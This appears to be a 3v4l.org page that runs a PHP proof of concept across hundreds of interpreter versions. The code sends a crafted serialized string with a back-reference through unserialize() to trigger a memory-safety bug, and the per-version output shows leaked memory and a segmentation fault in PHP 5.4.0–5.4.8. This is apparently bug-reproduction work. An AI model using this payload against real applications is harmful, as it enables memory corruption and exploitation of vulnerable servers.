3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj implements Serializable { private $data; public function serialize() { } public function unserialize($data) { $this->data = unserialize($data); $this->data = 1; } } $inner = 'a:0:{}'; $exploit = 'a:2:{i:0;C:3:"obj":' . strlen($inner) . ':{' . $inner . '}i:1;R:3;}'; $data = unserialize($exploit); var_dump($data);
Output for 8.1.0 - 8.1.6
Deprecated: obj implements the Serializable interface, which is deprecated. Implement __serialize() and __unserialize() instead (or in addition, if support for old PHP versions is necessary) in /in/GcebX on line 2 array(2) { [0]=> object(obj)#1 (1) { ["data":"obj":private]=> int(1) } [1]=> array(0) { } }
Output for 5.4.45, 5.5.29 - 5.5.38, 5.6.13 - 5.6.28, 7.0.20, 7.1.0 - 7.1.25, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.29, 8.0.0 - 8.0.19
array(2) { [0]=> object(obj)#1 (1) { ["data":"obj":private]=> int(1) } [1]=> array(0) { } }
Output for 7.0.0 - 7.0.10
array(2) { [0]=> object(obj)#1 (1) { ["data":"obj":private]=> int(1) } [1]=> &array(1) { ["objdata"]=> int(1) } }
Output for 5.4.39 - 5.4.44, 5.5.23 - 5.5.28, 5.6.7 - 5.6.12
array(2) { [0]=> object(obj)#1 (1) { ["data":"obj":private]=> int(1) } [1]=> NULL }
Output for 5.4.9 - 5.4.38, 5.5.0 - 5.5.22, 5.6.0 - 5.6.6
array(2) { [0]=> object(obj)#1 (1) { ["data":"obj":private]=> int(1) } [1]=> &NULL }
Output for 5.4.0 - 5.4.8
array(2) { [0]=> object(obj)#1 (1) { ["data":"obj":private]=> int(1) } [1]=> &array(49) {
Process exited with code 139.
Output for 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29
Notice: unserialize(): Error at offset 37 of 38 bytes in /in/GcebX on line 20 bool(false)
Output for 5.0.5
Fatal error: Interface 'Serializable' not found in /in/GcebX on line 2
Process exited with code 255.
Output for 5.0.0 - 5.0.4
Fatal error: Class 'Serializable' not found in /in/GcebX on line 2
Process exited with code 255.
Output for 4.4.2 - 4.4.9
Parse error: syntax error, unexpected T_STRING, expecting '{' in /in/GcebX on line 2
Process exited with code 255.
Output for 4.3.0 - 4.3.1, 4.3.5 - 4.3.11, 4.4.0 - 4.4.1
Parse error: parse error, unexpected T_STRING, expecting '{' in /in/GcebX on line 2
Process exited with code 255.
Output for 4.3.2 - 4.3.4
Parse error: parse error, expecting `'{'' in /in/GcebX on line 2
Process exited with code 255.

preferences:
187.75 ms | 432 KiB | 14 Q